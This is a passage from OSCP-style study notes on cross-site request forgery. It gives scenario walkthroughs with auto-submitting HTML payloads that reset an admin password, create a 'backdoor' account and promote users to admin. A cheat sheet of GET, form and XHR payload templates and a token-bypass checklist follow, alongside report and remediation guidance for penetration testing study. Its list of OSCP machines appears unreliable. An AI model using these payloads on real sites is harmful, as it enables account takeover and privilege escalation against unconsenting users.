3. Note the parameters (username, new_password, etc.)
4. Create a CSRF payload:
<html>
<body>
<form action="http://target.com/reset-password" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="new_password" value="hacked123" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
5. Host the payload and trick the admin into visiting it
6. Log in with the new password
Scenario 2: User Creation via CSRF
Target: Web application with user registration
Vulnerability: No CSRF token on registration form
Impact: Attacker can create accounts with known credentials
Exploitation Steps:
1. Identify the registration endpoint
2. Create a CSRF payload to register a new user:
<html>
<body>
<form action="http://target.com/register" method="POST">
<input type="hidden" name="username" value="backdoor" />
<input type="hidden" name="email" value="attacker@evil.com" />
<input type="hidden" name="password" value="password123" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
3. Log in with the created account
4. Use the account for further exploitation
Scenario 3: Admin Action via CSRF
Target: Web application with admin panel
Vulnerability: Admin actions lack CSRF protection
Impact: Attacker can perform admin actions
Exploitation Steps:
1. Identify admin endpoints (user management, settings, etc.)
2. Capture admin action requests
3. Create CSRF payloads for admin actions:
<html>
<body>
<!-- Promote user to admin -->
<form action="http://target.com/admin/promote" method="POST">
<input type="hidden" name="user_id" value="999" />
<input type="hidden" name="role" value="admin" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
4. Trick the admin into visiting the payload
5. Log in with elevated privileges
7.3 OSCP Tips for CSRF
- Always check for CSRF tokens — If present, note them in your report
- Use Burp’s CSRF PoC generator — Saves time and ensures correct payload format
- Test all state-changing endpoints — Don’t just test obvious ones
- Combine with other vulnerabilities — CSRF + XSS = powerful combination
- Document the impact — Explain what the attacker can achieve
- Provide proof of concept — Include working payloads in your report
- Check for SameSite cookies — Note if they provide protection
- Test for token bypass techniques — Even if tokens are present, they might be bypassable
7.4 CSRF in OSCP Machines
Some OSCP machines that may involve CSRF:
| Machine | CSRF Context |
|---|---|
| Hackable | Web application with potential CSRF |
| Optimum | Web panel with CSRF vulnerabilities |
| Reaven | Web application security testing |
| Beaster | Web application with multiple vulnerabilities |
| Active | Web application assessment |
Note: CSRF is rarely the primary vulnerability in OSCP machines. It is usually part of a larger attack chain or found during thorough web application testing.
7.5 Report Writing for CSRF
## Vulnerability: Cross-Site Request Forgery (CSRF)
### Severity: Medium/High (depending on impact)
### Description:
The application is vulnerable to Cross-Site Request Forgery (CSRF) on the [endpoint] endpoint.
The application does not implement anti-CSRF tokens, allowing an attacker to forge requests
on behalf of authenticated users.
### Impact:
An attacker can trick an authenticated user into performing unwanted actions, such as:
- Changing their password
- Modifying their email address
- Performing financial transactions
- Escalating privileges
### Proof of Concept:
1. Create the following HTML file:
```html
<html>
<body>
<form action="http://target.com/vulnerable-endpoint" method="POST">
<input type="hidden" name="param1" value="value1" />
<input type="hidden" name="param2" value="value2" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- Host the file on a web server
- Trick an authenticated user into visiting the page
- The action is performed without the user’s knowledge
Remediation:
- Implement anti-CSRF tokens on all state-changing endpoints
- Use SameSite cookie attribute
- Validate the Referer header
- Require re-authentication for sensitive operations
---
## 8. Quick Reference Cheat Sheet
### CSRF Payload Templates
#### GET Request
```html
<img src="http://victim.com/action?param=value" />
POST Request (Form)
<form action="http://victim.com/action" method="POST">
<input type="hidden" name="param" value="value" />
</form>
<script>document.forms[0].submit();</script>
POST Request (XMLHttpRequest)
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/action");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("param=value");
File Upload
var blob = new Blob(["content"], { type: "text/plain" });
var formData = new FormData();
formData.append("file", blob, "file.txt");
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/upload");
xhr.withCredentials = true;
xhr.send(formData);
CSRF Token Bypass Checklist
□ Token prediction (weak RNG)
□ Token reflection
□ Token absence on some endpoints
□ Referer-based token flaws
□ Cookie-based tokens + XSS
□ Missing validation
□ CORS misconfiguration
□ Blind CSRF with confirmation
Detection Checklist
□ Map all state-changing endpoints
□ Check for CSRF tokens
□ Check for SameSite cookies
□ Check for custom headers
□ Test without tokens
□ Test token bypass techniques
□ Create and test payloads
Mitigation Checklist
□ Anti-CSRF tokens (primary)
□ SameSite cookies (secondary)
□ Custom headers (tertiary)
□ Referer validation (additional)
□ Re-authentication (sensitive ops)
□ Defense-in-depth approach
Key Takeaways for OSCP
- CSRF exploits browser trust — The server trusts the browser’s cookies
- CSRF requires authentication via cookies — Not Authorization headers
- CSRF cannot read responses — Limited by Same-Origin Policy
- CSRF is about forcing actions — Not about stealing data
- Anti-CSRF tokens are the best defense — But can sometimes be bypassed
- SameSite cookies help — But are not a complete solution
- CSRF is often part of a chain — Combine with other vulnerabilities for maximum impact
- Always test state-changing endpoints — Even if they seem protected
This study note is part of the OSCP Client-Side Attacks chapter (Chapter 08). For best results, practice CSRF attacks in lab environments and combine CSRF knowledge with other web application security concepts.